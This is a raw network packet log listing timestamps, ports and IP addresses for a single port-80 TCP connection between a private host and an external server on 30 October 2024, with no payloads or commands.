Oct 30, 2024 12:36:56.465329885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.465344906 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.465349913 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.465359926 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.465365887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.465405941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.465405941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.466155052 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.466180086 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.466195107 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.466236115 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.466238976 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.466252089 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.466279030 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.466279030 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.466295958 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.467051029 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.467072010 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.467087984 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.467101097 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.467117071 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.467123032 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.467156887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.467156887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.467919111 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.467977047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.468043089 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.468066931 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.468080044 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.468100071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.468100071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.468116999 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.624557018 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624895096 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624917984 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624933958 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624948025 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624963999 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624968052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.624978065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.624988079 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.624994040 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625004053 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625016928 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625036955 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625051022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625060081 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625060081 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625072956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625092983 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625094891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625109911 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625124931 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625138044 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625153065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625161886 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625161886 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625166893 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625193119 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625207901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625211000 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625231028 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625264883 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625264883 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625288010 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625317097 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625341892 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625349998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625431061 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625534058 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625556946 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625571966 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625587940 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625602007 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625606060 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625606060 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625618935 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625623941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625634909 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625644922 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625662088 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625674963 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625756979 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625771046 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625786066 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.625833035 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.625833035 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626252890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626266956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626281977 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626296043 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626312017 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626316071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626327038 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626339912 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626342058 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626357079 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626373053 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626377106 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626377106 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626386881 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626401901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626424074 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626424074 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626487017 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626667023 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626723051 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626738071 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626759052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626759052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626789093 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626789093 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626804113 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626820087 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626835108 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626837969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626837969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626849890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.626862049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626878023 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.626897097 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627118111 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627159119 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627167940 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627191067 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627207994 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627216101 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627232075 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627252102 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627254009 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627268076 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627283096 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627300024 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627305984 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627305984 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627336025 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627346992 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627384901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627408028 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627423048 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627423048 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627439022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627454042 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627455950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627470970 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627476931 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627485991 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627501965 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.627505064 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627505064 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627532959 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.627559900 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628102064 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628207922 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628222942 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628226042 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628237963 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628252983 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628253937 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628269911 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628281116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628281116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628285885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628303051 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628318071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628328085 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628354073 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628371954 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628386021 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628403902 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628410101 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628410101 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628420115 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628434896 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628436089 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.628456116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628456116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.628518105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.630811930 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.630830050 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.630845070 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.630896091 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.630896091 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.630901098 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.630932093 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.631185055 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.631234884 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.631288052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.743345976 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743407965 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.743570089 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743583918 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743599892 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743616104 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743630886 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743647099 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.743649006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.743649006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.743683100 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.743696928 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.787712097 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787727118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787735939 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787760973 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787827969 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787843943 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.787884951 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.787925959 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787939072 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787952900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787967920 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787981033 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.787996054 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.787996054 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788044930 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788045883 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788060904 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788083076 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788096905 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788113117 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788126945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788130045 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788130045 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788144112 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788158894 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788171053 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788171053 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788192034 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788233042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788249016 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788305998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788326979 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788348913 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788366079 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788382053 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788386106 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788386106 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788399935 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788450003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788470030 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788494110 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788507938 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788522005 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788544893 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788558960 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788572073 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788572073 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788573027 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788588047 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788589954 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788610935 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788625002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788626909 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788640022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788652897 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788667917 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788671017 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788671017 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788682938 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788706064 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788707972 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788707972 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788742065 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788750887 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788755894 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788765907 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788788080 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788811922 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788822889 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788836002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788849115 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788861036 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788861036 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788862944 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788878918 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788893938 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788893938 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788913965 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788922071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788934946 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788949966 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.788968086 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788968086 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.788984060 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793174982 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793236017 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793251038 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793266058 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793288946 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793329954 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793329954 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793344975 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793359995 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793369055 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793375969 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793390036 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793396950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793406963 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793406963 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793420076 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793436050 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793443918 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793450117 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793466091 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793468952 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793481112 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793489933 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793495893 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793500900 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793530941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793540955 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793574095 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793589115 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793611050 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793625116 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793625116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793626070 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793638945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793670893 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793678045 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793692112 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793706894 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793714046 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793714046 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793723106 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793732882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793756008 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793756008 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793812037 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793826103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793840885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793857098 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793874025 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793903112 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.793962002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793977022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.793996096 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.794009924 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:56.794014931 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:56.794033051 CET	80	49751	185.215.113.16	192.168.2.4
